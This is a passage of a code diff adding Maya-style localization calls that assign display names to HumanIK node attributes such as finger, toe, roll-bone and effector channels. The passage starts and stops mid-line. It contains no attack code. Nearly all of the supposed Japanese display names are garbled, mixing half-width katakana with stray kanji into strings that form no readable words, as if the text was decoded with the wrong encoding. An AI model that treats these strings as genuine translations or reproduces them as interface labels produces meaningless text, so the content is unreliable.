"LeftHandPinky3", "ラハヨミ。ヨク 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandPinky4", "ラハヨミ。ヨク 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandExtraFinger1", "ラハヨチヨク 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandExtraFinger2", "ラハヨチヨク 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandExtraFinger3", "ラハヨチヨク 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandExtraFinger4", "ラハヨチヨク 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandThumb1", "モメハヨトエヨク 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandThumb2", "モメハヨトエヨク 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandThumb3", "モメハヨトエヨク 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandThumb4", "モメハヨトエヨク 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandIndex1", "モメハヨハウヨク 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandIndex2", "モメハヨハウヨク 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandIndex3", "モメハヨハウヨク 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandIndex4", "モメハヨハウヨク 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandMiddle1", "モメハヨヨミヨク 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandMiddle2", "モメハヨヨミヨク 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandMiddle3", "モメハヨヨミヨク 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandMiddle4", "モメハヨヨミヨク 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandRing1", "モメハヨボテヨク 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandRing2", "モメハヨボテヨク 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandRing3", "モメハヨボテヨク 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandRing4", "モメハヨボテヨク 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandPinky1", "モメハヨミ。ヨク 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandPinky2", "モメハヨミ。ヨク 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandPinky3", "モメハヨミ。ヨク 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandPinky4", "モメハヨミ。ヨク 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandExtraFinger1", "モメハヨチヨク 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandExtraFinger2", "モメハヨチヨク 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandExtraFinger3", "モメハヨチヨク 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandExtraFinger4", "モメハヨチヨク 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootThumb1", "ラスナエヨコ 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootThumb2", "ラスナエヨコ 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootThumb3", "ラスナエヨコ 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootThumb4", "ラスナエヨコ 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootIndex1", "ラスナカヨコ 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootIndex2", "ラスナカヨコ 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootIndex3", "ラスナカヨコ 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootIndex4", "ラスナカヨコ 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootMiddle1", "ラスナヨミヨコ 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootMiddle2", "ラスナヨミヨコ 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootMiddle3", "ラスナヨミヨコ 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootMiddle4", "ラスナヨミヨコ 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootRing1", "ラスナヒトヨコ 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootRing2", "ラスナヒトヨコ 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootRing3", "ラスナヒトヨコ 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootRing4", "ラスナヒトヨコ 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootPinky1", "ラスナミ。ヨコ 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootPinky2", "ラスナミ。ヨコ 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootPinky3", "ラスナミ。ヨコ 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootPinky4", "ラスナミ。ヨコ 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootExtraFinger1", "ラスナチヨコ 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootExtraFinger2", "ラスナチヨコ 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootExtraFinger3", "ラスナチヨコ 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootExtraFinger4", "ラスナチヨコ 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootThumb1", "モメスナエヨコ 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootThumb2", "モメスナエヨコ 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootThumb3", "モメスナエヨコ 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootThumb4", "モメスナエヨコ 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootIndex1", "モメスナカヨコ 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootIndex2", "モメスナカヨコ 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootIndex3", "モメスナカヨコ 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootIndex4", "モメスナカヨコ 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootMiddle1", "モメスナヨミヨコ 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootMiddle2", "モメスナヨミヨコ 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootMiddle3", "モメスナヨミヨコ 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootMiddle4", "モメスナヨミヨコ 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootRing1", "モメスナヒトヨコ 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootRing2", "モメスナヒトヨコ 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootRing3", "モメスナヒトヨコ 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootRing4", "モメスナヒトヨコ 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootPinky1", "モメスナミ。ヨコ 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootPinky2", "モメスナミ。ヨコ 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootPinky3", "モメスナミ。ヨコ 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootPinky4", "モメスナミ。ヨコ 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootExtraFinger1", "モメスナチヨコ 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootExtraFinger2", "モメスナチヨコ 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootExtraFinger3", "モメスナチヨコ 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootExtraFinger4", "モメスナチヨコ 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftInHandThumb", "ラハヨトエヨクトレイ" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftInHandIndex", "ラハヨハウヨクトレイ" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftInHandMiddle", "ラハヨヨミヨクトレイ" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftInHandRing", "ラハヨボテヨクトレイ" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftInHandPinky", "ラハヨミ。ヨクトレイ" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftInHandExtraFinger", "ラハヨチヨクトレイ" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightInHandThumb", "モメハヨトエヨクトレイ" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightInHandIndex", "モメハヨハウヨクトレイ" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightInHandMiddle", "モメハヨヨミヨクトレイ" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightInHandRing", "モメハヨボテヨクトレイ" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightInHandPinky", "モメハヨミ。ヨクトレイ" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightInHandExtraFinger", "モメハヨチヨクトレイ" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftInFootThumb", "ラスナエヨコトレイ" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftInFootIndex", "ラスナカヨコトレイ" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftInFootMiddle", "ラスナヨミヨコトレイ" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftInFootRing", "ラスナヒトヨコトレイ" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftInFootPinky", "ラスナミ。ヨコトレイ" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftInFootExtraFinger", "ラスナチヨコトレイ" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightInFootThumb", "モメスナエヨコトレイ" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightInFootIndex", "モメスナカヨコトレイ" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightInFootMiddle", "モメスナヨミヨコトレイ" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightInFootRing", "モメスナヒトヨコトレイ" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightInFootPinky", "モメスナミ。ヨコトレイ" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightInFootExtraFinger", "モメスナチヨコトレイ" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftShoulderExtra", "クスシモラシ" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightShoulderExtra", "クスシモモメシ" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafLeftUpLegRoll1", "メカラエヘネイ犹 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafLeftLegRoll1", "メカラヘネイ犹 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafRightUpLegRoll1", "メカモメエヘネイ犹 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafRightLegRoll1", "メカモメヘネイ犹 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafLeftArmRoll1", "メカラアロイ犹 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafLeftForeArmRoll1", "メカラヌーアロイ犹 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafRightArmRoll1", "メカモメアロイ犹 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafRightForeArmRoll1", "メカモメヌーアロイ犹 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafLeftUpLegRoll2", "メカラエヘネイ犹 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafLeftLegRoll2", "メカラヘネイ犹 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafRightUpLegRoll2", "メカモメエヘネイ犹 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafRightLegRoll2", "メカモメヘネイ犹 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafLeftArmRoll2", "メカラアロイ犹 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafLeftForeArmRoll2", "メカラヌーアロイ犹 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafRightArmRoll2", "メカモメアロイ犹 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafRightForeArmRoll2", "メカモメヌーアロイ犹 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafLeftUpLegRoll3", "メカラエヘネイ犹 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafLeftLegRoll3", "メカラヘネイ犹 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafRightUpLegRoll3", "メカモメエヘネイ犹 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafRightLegRoll3", "メカモメヘネイ犹 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafLeftArmRoll3", "メカラアロイ犹 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafLeftForeArmRoll3", "メカラヌーアロイ犹 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafRightArmRoll3", "メカモメアロイ犹 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafRightForeArmRoll3", "メカモメヌーアロイ犹 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafLeftUpLegRoll4", "メカラエヘネイ犹 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafLeftLegRoll4", "メカラヘネイ犹 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafRightUpLegRoll4", "メカモメエヘネイ犹 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafRightLegRoll4", "メカモメヘネイ犹 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafLeftArmRoll4", "メカラアロイ犹 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafLeftForeArmRoll4", "メカラヌーアロイ犹 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafRightArmRoll4", "メカモメアロイ犹 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafRightForeArmRoll4", "メカモメヌーアロイ犹 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafLeftUpLegRoll5", "メカラエヘネイ犹 5" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafLeftLegRoll5", "メカラヘネイ犹 5" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafRightUpLegRoll5", "メカモメエヘネイ犹 5" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafRightLegRoll5", "メカモメヘネイ犹 5" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafLeftArmRoll5", "メカラアロイ犹 5" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafLeftForeArmRoll5", "メカラヌーアロイ犹 5" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafRightArmRoll5", "メカモメアロイ犹 5" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeafRightForeArmRoll5", "メカモメヌーアロイ犹 5" ); +setAttrNiceNameResource( "HIKControlSetNode", "HipsEffector", "ナイソミァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx0", "IK スレオ羞アヌーヒメ 0" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftAnkleEffector", "ララミァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx1", "IK スレオ羞アヌーヒメ 1" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightAnkleEffector", "モメラミァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx2", "IK スレオ羞アヌーヒメ 2" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftWristEffector", "ラヘミァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx3", "IK スレオ羞アヌーヒメ 3" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightWristEffector", "モメヘミァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx4", "IK スレオ羞アヌーヒメ 4" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftKneeEffector", "ラマ・ミァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx5", "IK スレオ羞アヌーヒメ 5" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightKneeEffector", "モメマ・ミァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx6", "IK スレオ羞アヌーヒメ 6" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftElbowEffector", "ラヨ簟ァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx7", "IK スレオ羞アヌーヒメ 7" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightElbowEffector", "モメヨ簟ァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx8", "IK スレオ羞アヌーヒメ 8" ); +setAttrNiceNameResource( "HIKControlSetNode", "ChestOriginEffector", "ミリイソヤュオ耙ァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx9", "IK スレオ羞アヌーヒメ 9" ); +setAttrNiceNameResource( "HIKControlSetNode", "ChestEndEffector", "ミリイソトゥカヒミァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx10", "IK スレオ羞アヌーヒメ 10" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootEffector", "ラスナミァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx11", "IK スレオ羞アヌーヒメ 11" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootEffector", "モメスナミァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx12", "IK スレオ羞アヌーヒメ 12" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftShoulderEffector", "ラシ醪ァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx13", "IK スレオ羞アヌーヒメ 13" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightShoulderEffector", "モメシ醪ァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx14", "IK スレオ羞アヌーヒメ 14" ); +setAttrNiceNameResource( "HIKControlSetNode", "HeadEffector", "ヘキイソミァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx15", "IK スレオ羞アヌーヒメ 15" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHipEffector", "ラナミァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx16", "IK スレオ羞アヌーヒメ 16" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHipEffector", "モメナミァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx17", "IK スレオ羞アヌーヒメ 17" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandEffector", "ラハヨミァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx18", "IK スレオ羞アヌーヒメ 18" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandEffector", "モメハヨミァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx19", "IK スレオ羞アヌーヒメ 19" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandThumbEffector", "ラハヨトエヨクミァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx20", "IK スレオ羞アヌーヒメ 20" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandIndexEffector", "ラハヨハウヨクミァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx21", "IK スレオ羞アヌーヒメ 21" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandMiddleEffector", "ラハヨヨミヨクミァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx22", "IK スレオ羞アヌーヒメ 22" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandRingEffector", "ラハヨボテヨクミァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx23", "IK スレオ羞アヌーヒメ 23" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandPinkyEffector", "ラハヨミ。ヨクミァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx24", "IK スレオ羞アヌーヒメ 24" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftHandExtraFingerEffector", "ラハヨチヨクミァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx25", "IK スレオ羞アヌーヒメ 25" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandThumbEffector", "モメハヨトエヨクミァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx26", "IK スレオ羞アヌーヒメ 26" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandIndexEffector", "モメハヨハウヨクミァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx27", "IK スレオ羞アヌーヒメ 27" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandMiddleEffector", "モメハヨヨミヨクミァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx28", "IK スレオ羞アヌーヒメ 28" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandRingEffector", "モメハヨボテヨクミァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx29", "IK スレオ羞アヌーヒメ 29" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandPinkyEffector", "モメハヨミ。ヨクミァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx30", "IK スレオ羞アヌーヒメ 30" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightHandExtraFingerEffector", "モメハヨチヨクミァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx31", "IK スレオ羞アヌーヒメ 31" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootThumbEffector", "ラスナエヨコミァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx32", "IK スレオ羞アヌーヒメ 32" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootIndexEffector", "ラスナカヨコミァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx33", "IK スレオ羞アヌーヒメ 33" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootMiddleEffector", "ラスナヨミヨコミァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx34", "IK スレオ羞アヌーヒメ 34" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootRingEffector", "ラスナヒトヨコミァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx35", "IK スレオ羞アヌーヒメ 35" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootPinkyEffector", "ラスナミ。ヨコミァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx36", "IK スレオ羞アヌーヒメ 36" ); +setAttrNiceNameResource( "HIKControlSetNode", "LeftFootExtraFingerEffector", "ラスナチヨコミァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx37", "IK スレオ羞アヌーヒメ 37" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootThumbEffector", "モメスナエヨコミァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx38", "IK スレオ羞アヌーヒメ 38" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootIndexEffector", "モメスナカヨコミァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx39", "IK スレオ羞アヌーヒメ 39" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootMiddleEffector", "モメスナヨミヨコミァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx40", "IK スレオ羞アヌーヒメ 40" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootRingEffector", "モメスナヒトヨコミァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx41", "IK スレオ羞アヌーヒメ 41" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootPinkyEffector", "モメスナミ。ヨコミァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx42", "IK スレオ羞アヌーヒメ 42" ); +setAttrNiceNameResource( "HIKControlSetNode", "RightFootExtraFingerEffector", "モメスナチヨコミァモヲニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "IKNodeCurrIdx43", "IK スレオ羞アヌーヒメ 43" ); +setAttrNiceNameResource( "HIKControlSetNode", "ra", "ーカィカヤニ" ); +setAttrNiceNameResource( "HIKControlSetNode", "rao", "ーカィカヤニハ莎" ); +setAttrNiceNameResource( "HIKControlSetNode", "fza", "メムカウス睫ワモーマカヤマ" ); +// +// Node: HIKEffectorFromCharacter +// +setNodeNiceNameResource( "HIKEffectorFromCharacter", "HIKEffector From Character" ); +setAttrNiceNameResource( "HIKEffectorFromCharacter", "fzn", "カウス" ); +setAttrNiceNameResource( "HIKEffectorFromCharacter", "InputCharacterDefinition", "ハ菠スヌノォカィメ" ); +setAttrNiceNameResource( "HIKEffectorFromCharacter", "InputCharacterState", "ハ菠スヌノォラエフャ" ); +setAttrNiceNameResource( "HIKEffectorFromCharacter", "InputPropertySetState", "ハ菠フリミヤシッラエフャ" ); +setAttrNiceNameResource( "HIKEffectorFromCharacter", "OutputEffectorState", "ハ莎ミァモヲニラエフャ" ); +setAttrNiceNameResource( "HIKEffectorFromCharacter", "fza", "メムカウス睫ワモーマカヤマ" ); +// +// Node: HIKSK2State +// +setNodeNiceNameResource( "HIKSK2State", "HIKSK2State" ); +setAttrNiceNameResource( "HIKSK2State", "fzn", "カウス" ); +setAttrNiceNameResource( "HIKSK2State", "OutputCharacterState", "ハ莎スヌノォラエフャ" ); +setAttrNiceNameResource( "HIKSK2State", "InputCharacterDefinition", "ハ菠スヌノォカィメ" ); +setAttrNiceNameResource( "HIKSK2State", "ReferenceGX", "メモテ GX" ); +setAttrNiceNameResource( "HIKSK2State", "HipsGX", "ナイソ GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftUpLegGX", "ラエヘネ GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftLegGX", "ラヘネ GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFootGX", "ラスナ GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightUpLegGX", "モメエヘネ GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightLegGX", "モメヘネ GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootGX", "モメスナ GX" ); +setAttrNiceNameResource( "HIKSK2State", "SpineGX", "シケラオ GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftArmGX", "ラアロ GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftForeArmGX", "ラヌーアロ GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftHandGX", "ラハヨ GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightArmGX", "モメアロ GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightForeArmGX", "モメヌーアロ GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightHandGX", "モメハヨ GX" ); +setAttrNiceNameResource( "HIKSK2State", "HeadGX", "ヘキイソ GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftToeBaseGX", "ラスナヨコク GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightToeBaseGX", "モメスナヨコク GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftShoulderGX", "ラシ GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightShoulderGX", "モメシ GX" ); +setAttrNiceNameResource( "HIKSK2State", "NeckGX", "セアイソ GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftFingerBaseGX", "ラハヨヨクク GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFingerBaseGX", "モメハヨヨクク GX" ); +setAttrNiceNameResource( "HIKSK2State", "Spine1GX", "シケラオ 1 GX" ); +setAttrNiceNameResource( "HIKSK2State", "Spine2GX", "シケラオ 2 GX" ); +setAttrNiceNameResource( "HIKSK2State", "Spine3GX", "シケラオ 3 GX" ); +setAttrNiceNameResource( "HIKSK2State", "Spine4GX", "シケラオ 4 GX" ); +setAttrNiceNameResource( "HIKSK2State", "Spine5GX", "シケラオ 5 GX" ); +setAttrNiceNameResource( "HIKSK2State", "Spine6GX", "シケラオ 6 GX" ); +setAttrNiceNameResource( "HIKSK2State", "Spine7GX", "シケラオ 7 GX" ); +setAttrNiceNameResource( "HIKSK2State", "Spine8GX", "シケラオ 8 GX" ); +setAttrNiceNameResource( "HIKSK2State", "Spine9GX", "シケラオ 9 GX" ); +setAttrNiceNameResource( "HIKSK2State", "Neck1GX", "セアイソ 1 GX" ); +setAttrNiceNameResource( "HIKSK2State", "Neck2GX", "セアイソ 2 GX" ); +setAttrNiceNameResource( "HIKSK2State", "Neck3GX", "セアイソ 3 GX" ); +setAttrNiceNameResource( "HIKSK2State", "Neck4GX", "セアイソ 4 GX" ); +setAttrNiceNameResource( "HIKSK2State", "Neck5GX", "セアイソ 5 GX" ); +setAttrNiceNameResource( "HIKSK2State", "Neck6GX", "セアイソ 6 GX" ); +setAttrNiceNameResource( "HIKSK2State", "Neck7GX", "セアイソ 7 